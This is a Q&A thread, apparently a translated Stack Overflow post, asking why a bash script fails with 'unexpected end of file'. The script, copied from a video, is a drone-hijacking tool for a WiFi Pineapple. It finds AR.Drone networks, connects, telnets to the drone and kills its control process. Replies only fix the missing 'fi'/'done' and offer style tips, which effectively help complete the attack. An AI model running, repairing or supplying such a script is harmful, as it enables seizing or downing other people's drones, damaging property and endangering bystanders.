【问题标题】:bash script unexpected end of file (expecting "then")bash 脚本文件意外结束(期望 \"then\")
【发布时间】:2022-11-10 10:15:04
【问题描述】:

嗨,我正在尝试使用 hak5 pineapple 和 bash 脚本破解无人机,但我的脚本不起作用。 我不知道如何编写脚本,所以我从这个 youtube 视频中复制了它https://www.youtube.com/watch?v=xKfY0PmKDRE&t=0s 当我运行它时,它显示第 29 行:语法错误:文件意外结束(期待“then”) 到目前为止,这是我的脚本。谁能帮我?

while true; do
if ! ( iw wlan0 scan | grep SSID | awk '{print $2}' | grep [a]rdrone ); then
echo "no drones found"
else
echo "drone found! connecting"
DRONESSID=`iw wlan0 scan | grep SSID | awk '{print $2}' | grep [a]rdrone`
iwconfig wlan1 essid $DRONESSID
sleep 2

echo "testing connection"
if ! ( iwconfig wlan1 | grep $DRONESSID ); then
#echo "geen verbinding"
else
echo "connected"

echo "yes"
ifconfig wlan1 192.168.1.5 netmask 255.255.255.0 up
sleep 2

echo "ping ping"
if ! ( ping -c1 192.168.1.1 | grep from ); then
echo "ooof"
else
echo "ping ping"
empty -f -i /tmp/drone_input.fifo -o /tmp/drone_output.fifo -p /tmp/drone_empty.pid $telnet 192.168.1.1
empty -w -i /tmp/drone_output.fifo -o /tmp/drone_input.fifo busybox "kill -KILL \`pidof program.elf\`\n"
kill `pidof empty`
echo ""
echo " kill sent"
echo ""
fi
fi

【问题讨论】:

  • 确定您的文件是使用 UNIX 换行符保存的? DOS 换行符是解决此错误的简单方法;如果 then 由于杂散回车而被解析为 $'then\r',那么就是这样。
  • 顺便说一句,不要使用( ) 进行分组。只需写if foo; then -- 当你写if (foo); then 时,它实际上运行速度较慢,因为它会生成一个子shell。 (如果您想在没有子shell 的情况下进行分组,看起来像if { foo; }; then,但这里没有意义)。
  • 在您显示的内容中,有 3 个ifs,但只有 2 个fi。每个if 都需要一个匹配的fi。这仅仅是复制/粘贴问题吗?
  • 在这里提问时,请考虑养成通过shellcheck.net 运行代码的习惯。

标签: linux bash shell grep


【解决方案1】:

你错过了完毕在脚本的末尾

【讨论】:

    猜你喜欢
    • 2019-07-31
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2023-03-14
    • 2020-04-14
    • 2013-06-08
    相关资源
    最近更新 更多